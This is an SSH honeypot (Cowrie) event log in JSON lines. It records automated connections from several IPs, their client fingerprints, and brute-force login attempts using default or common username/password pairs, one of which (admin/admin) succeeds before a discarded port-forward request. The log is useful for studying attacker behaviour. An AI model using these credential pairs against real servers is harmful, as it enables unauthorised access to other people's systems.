{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:54.239812Z","src_ip":"103.75.199.4","session":"b6b51d6838b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:54.308843Z","src_ip":"45.153.34.114","session":"dd4c893e7f0a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"freeme","message":"login attempt [user/freeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:54.521946Z","src_ip":"2.57.121.25","session":"42193f8dd3c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:55.333342Z","src_ip":"103.75.199.4","session":"b6b51d6838b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"fred123","message":"login attempt [user/fred123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:55.629588Z","src_ip":"2.57.121.25","session":"42193f8dd3c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"frasier","message":"login attempt [user/frasier] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:56.737708Z","src_ip":"2.57.121.25","session":"42193f8dd3c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"foreman","message":"login attempt [user/foreman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:57.846194Z","src_ip":"2.57.121.25","session":"42193f8dd3c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"footlove","message":"login attempt [user/footlove] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:48:58.954924Z","src_ip":"2.57.121.25","session":"42193f8dd3c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:00.062801Z","src_ip":"2.57.121.25","session":"42193f8dd3c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59548,"dst_ip":"159.203.135.109","dst_port":22,"session":"dddcecfeaeda","protocol":"ssh","message":"New connection: 45.153.34.114:59548 (159.203.135.109:22) [session: dddcecfeaeda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:00.547597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:00.554946Z","src_ip":"45.153.34.114","session":"dddcecfeaeda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:00.644304Z","src_ip":"45.153.34.114","session":"dddcecfeaeda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:00.911317Z","src_ip":"45.153.34.114","session":"dddcecfeaeda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:02.002608Z","src_ip":"45.153.34.114","session":"dddcecfeaeda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59550,"dst_ip":"159.203.135.109","dst_port":22,"session":"9413f7473c7f","protocol":"ssh","message":"New connection: 45.153.34.114:59550 (159.203.135.109:22) [session: 9413f7473c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:08.454796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:08.459396Z","src_ip":"45.153.34.114","session":"9413f7473c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:08.547432Z","src_ip":"45.153.34.114","session":"9413f7473c7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:08.796730Z","src_ip":"45.153.34.114","session":"9413f7473c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":23500,"dst_ip":"10.17.0.5","dst_port":22,"session":"1549165361b8","protocol":"ssh","message":"New connection: 193.46.255.86:23500 (10.17.0.5:22) [session: 1549165361b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:08.910769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:08.915364Z","src_ip":"193.46.255.86","session":"1549165361b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:09.048626Z","src_ip":"193.46.255.86","session":"1549165361b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":12726,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ee974e66c20","protocol":"ssh","message":"New connection: 87.251.64.176:12726 (10.17.0.5:22) [session: 6ee974e66c20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:09.502855Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:09.507840Z","src_ip":"87.251.64.176","session":"6ee974e66c20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:09.604439Z","src_ip":"87.251.64.176","session":"6ee974e66c20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"","password":"","message":"login attempt [/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:09.649056Z","src_ip":"193.46.255.86","session":"1549165361b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:09.886637Z","src_ip":"45.153.34.114","session":"9413f7473c7f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:09.892090Z","src_ip":"87.251.64.176","session":"6ee974e66c20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:09.990907Z","session":"6ee974e66c20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:10.089355Z","src_ip":"87.251.64.176","session":"6ee974e66c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:10.197541Z","src_ip":"87.251.64.176","session":"6ee974e66c20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:10.781538Z","src_ip":"193.46.255.86","session":"1549165361b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":40940,"dst_ip":"159.203.135.109","dst_port":22,"session":"832fd0636998","protocol":"ssh","message":"New connection: 103.75.199.4:40940 (159.203.135.109:22) [session: 832fd0636998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:15.765634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:15.770405Z","src_ip":"103.75.199.4","session":"832fd0636998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:15.866499Z","src_ip":"103.75.199.4","session":"832fd0636998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:16.153681Z","src_ip":"103.75.199.4","session":"832fd0636998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40822,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8427e2fa8d8","protocol":"ssh","message":"New connection: 45.153.34.114:40822 (159.203.135.109:22) [session: b8427e2fa8d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:16.689650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:16.701823Z","src_ip":"45.153.34.114","session":"b8427e2fa8d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:16.776511Z","src_ip":"45.153.34.114","session":"b8427e2fa8d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sadmin","password":"sadmin","message":"login attempt [sadmin/sadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:17.251676Z","src_ip":"45.153.34.114","session":"b8427e2fa8d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:17.257001Z","src_ip":"103.75.199.4","session":"832fd0636998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:18.342185Z","src_ip":"45.153.34.114","session":"b8427e2fa8d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40516,"dst_ip":"159.203.135.109","dst_port":22,"session":"fac2f032ccd6","protocol":"ssh","message":"New connection: 45.153.34.114:40516 (159.203.135.109:22) [session: fac2f032ccd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:24.628958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:24.633326Z","src_ip":"45.153.34.114","session":"fac2f032ccd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:24.717881Z","src_ip":"45.153.34.114","session":"fac2f032ccd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:25.133044Z","src_ip":"45.153.34.114","session":"fac2f032ccd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:26.224336Z","src_ip":"45.153.34.114","session":"fac2f032ccd6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":57808,"dst_ip":"10.17.0.5","dst_port":22,"session":"8789e572cf96","protocol":"ssh","message":"New connection: 80.94.92.182:57808 (10.17.0.5:22) [session: 8789e572cf96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:31.355116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:49:31.476557Z","src_ip":"80.94.92.182","session":"8789e572cf96","protocol":"ssh"}
